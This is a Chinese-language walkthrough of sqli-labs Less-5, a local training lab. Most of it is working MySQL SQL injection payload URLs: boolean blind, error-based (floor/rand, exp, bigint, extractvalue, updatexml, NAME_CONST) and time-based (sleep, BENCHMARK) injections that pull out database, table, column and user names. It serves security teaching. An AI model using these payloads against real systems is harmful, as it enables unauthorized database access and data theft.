Sqli-labs less 5
Less-5
这里说一下,有很多的blog是翻译或者copy的,这关正确的思路是盲注。从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了,所以我们不能利用上述less1-4的方法
我们从这这一关开始学习盲注。结合background-2的信息,将上述能使用的payload展示一下使用方法。
-
利用left(database(),1)进行尝试
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23
查看一下version(),数据库的版本号为5.6.17,这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。
当版本号不正确的时候,则不能正确显示 you are in......
接下来看一下数据库的长度
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23
长度为8时,返回正确结果,说明长度为8.
猜测数据库第一位
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+
Database()为security,所以我们看他的第一位是否 > a,很明显的是s > a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。
猜测数据库第二位
得知第一位为s,我们看前两位是否大于 sa
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+
往下的请举一反三,因有人问过此类问题,不知道该怎么进行第二位第三位。这里对于这个问题只讲一次,以后就不会再说这个问题。要有自我思考的能力和意识。
-
利用substr() ascii()函数进行尝试
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
根据以上得知数据库名为security,那我们利用此方式获取security数据库下的表。
获取security数据库的第一个表的第一个字符
Ps:此处table_schema可以写成 ='security',但是我们这里使用的database(),是因为此处database()就是security。此处同样的使用二分法进行测试,直到测试正确为止。
此处应该是101,因为第一个表示email。
如何获取第一个表的第二位字符呢?
这里我们已经了解了substr()函数,这里使用substr(**,2,1)即可。
那如何获取第二个表呢?思考一下!
这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0个开始,获取第一个。那要获取第二个是不是就是limit 1,1!
此处113返回是正确的,因为第二个表示referers表,所以第一位就是r.
以后的过程就是不断的重复上面的,这里就不重复造轮子了。原理已经解释清楚了。
当你按照方法运行结束后,就可以获取到所有的表的名字。
-
利用regexp获取(2)中users表中的列
上述语句时选择users表中的列名是否有us**的列
http://127.0.0.1/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
上图中可以看到username存在。我们可以将username换成password等其他的项也是正确的。
-
利用ord()和mid()函数获取users表的内容
获取users表中的内容。获取username中的第一行的第一个字符的ascii,与68进行比较,即为D。而我们从表中得知第一行的数据为Dumb。所以接下来只需要重复造轮子即可。
总结:以上(1)(2)(3)(4)我们通过使用不同的语句,将通过布尔盲注SQL的所有的payload进行演示了一次。想必通过实例更能够对sql布尔盲注语句熟悉和理解了。
接下来,我们演示一下报错注入和延时注入。
(5)首先使用报错注入
http://127.0.0.1/sqllib/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
利用double数值类型超出范围进行报错注入
http://127.0.0.1/sqllib/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
利用bigint溢出进行报错注入
http://127.0.0.1/sqllib/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
xpath函数报错注入
http://127.0.0.1/sqllib/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
http://127.0.0.1/sqllib/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
利用数据的重复性
http://127.0.0.1/sqllib/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
-
延时注入
利用sleep()函数进行注入
http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
当错误的时候会有5秒的时间延时。
利用BENCHMARK()进行延时注入
http://127.0.0.1/sqllib/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
当结果正确的时候,运行ENCODE('MSG','by 5 seconds')操作50000000次,会占用一段时间。
至此,我们已经将上述讲到的盲注的利用方法全部在less5中演示了一次。在后续的关卡中,将会挑一种进行演示,其他的盲注方法请参考less5.